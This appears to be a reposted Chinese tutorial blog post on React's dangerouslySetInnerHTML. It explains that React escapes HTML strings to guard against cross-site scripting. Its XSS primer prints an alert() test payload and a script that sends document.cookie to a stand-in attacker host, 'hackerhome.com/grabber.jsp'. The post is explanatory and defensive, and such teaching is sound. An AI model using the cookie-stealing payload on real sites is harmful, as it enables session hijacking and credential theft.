【原】dangerouslySetInnerHTML, 讓React正常顯示你的html代碼


昨天在弄一個讓內容換行顯示時,遇到一個問題,就是我有<br />的代碼在頁面中不換行,而是直接顯示<br />,代碼如下:

<!DOCTYPE html>
<html>
    <head>
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
        <title>dangerouslySetInnerHTML測試</title>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.13.3/react.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.13.3/JSXTransformer.js"></script>
    </head>
    <body>
        <div id="example"></div>
        <script type="text/jsx">

         var Test = React.createClass({

          getInitialState: function() {
            return {html: '我想讓它換行顯示<br />,我想讓它換行顯示<br />'};
          },

          render: function() {

            return (

              <div>{this.state.html}</div>
            );
          }
        });
 
        React.render(<Test />,  document.getElementById('example'));
 
        </script>
    </body>
</html>

 在頁面中顯示的內容是這樣的:

如果你將這段代碼放在正常的html頁面中,它是會換行的,在React中則不會,因為react不會自動幫你解析你的html代碼,就像你將上面的getInitialState

改為:

 getInitialState: function() {
            return {html: '<a href="#">這是一段html代碼</a><a href="#">2</a><a href="#">3</a>'};
  },

 解析出來的還是這樣的一段代碼  

'<a href="#">這是一段html代碼</a><a href="#">2</a><a href="#">3</a>'

 

這是為什么呢?找到的解釋是這樣的:

 

  不合時宜的使用 innerHTML 可能會導致 cross-site scripting (XSS) 攻擊。 凈化用戶的輸入來顯示的時候,經常會出現錯誤,不合適的凈化也是導致網頁攻擊 的原因之一。

  我們的設計哲學是讓確保安全應該是簡單的,開發者在執行“不安全”的操作的時候應該清楚地知道他們自己的意圖。dangerouslySetInnerHTML 這個 prop 的命名是故意這么設

計的,以此來警告,它的 prop 值( 一個對象而不是字符串 )應該被用來表明凈化后的數據。

將上面的代碼改為如下,就可以訪問了:

  

  這么做的意義在於,{__html:...} 背后的目的是表明它會被當成 "type/taint" 類型處理。 這種包裹對象,可以通過方法調用返回凈化后的數據,隨后這種標記過的數據可以。注意__html是兩個_

被傳遞給 dangerouslySetInnerHTML。

這個功能主要被用來與 DOM 字符串操作類庫一起使用,所以提供的 HTML 必須要格式清晰(例如:傳遞 XML 校驗)

  這些解釋是來自於官方說法。讀完有點一頭霧水,這是因為我們不了解什么是 cross-site scripting (XSS)攻擊,當你了解這個攻擊的時候,其實理解起來就比較好理解一些

 

什么是 cross-site scripting (XSS)攻擊:

XSS示例

  在深入了解XSS的各個方面之前,讓我們首先了解XSS攻擊到底是怎樣完成的。

  就以一個博客應用為例。其常常需要允許讀者對博主的文章進行評論。在輸入評論的編輯欄中,我們可以輸入對該文章的評論,也可以輸入以下HTML標記:

1 <Script>alert(“XSS attack available!”);</Script>

  在讀者按下提交鍵之后,該標記將被提交到服務器上,並在其它用戶訪問時作為評論顯示。此時該用戶所看到網頁中包含該標記的部分元素可能為:

1 <div>
2     <Script>alert(“XSS attack available!”);</Script>
3 </div>

  而從用戶的角度來看,該網頁中就出現了一個警告:

  也就是說,用戶輸入的腳本語言已經被用戶的瀏覽器成功執行。當然,這可能只是一個對該網站的善意提醒。但是對於一個真正具有惡意的攻擊者,其所插入的腳本代碼更可能如下所示:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=16 height=16 border=0 />');</script>

  該段腳本將向當前評論內插入一個圖片,而該圖片所對應的URL則指向了hackerhome中的JSP頁面grabber.jsp。從訪問該評論的用戶這一角度看來,其僅僅是一個不能顯示的圖片。但是對於惡意攻擊者而言,該JSP頁面將自動記錄傳入的msg參數內容,即訪問評論用戶所使用的cookie。該cookie可能包含用戶的敏感信息,甚至是用戶名,密碼等重要信息。

所以,react的做法是不直接讀取你的html代碼,以此來避免cross-site scripting (XSS)攻擊,讓你的代碼更加安全

 

更多關於cross-site scripting (XSS)攻擊的介紹,可以參考這篇文章:http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM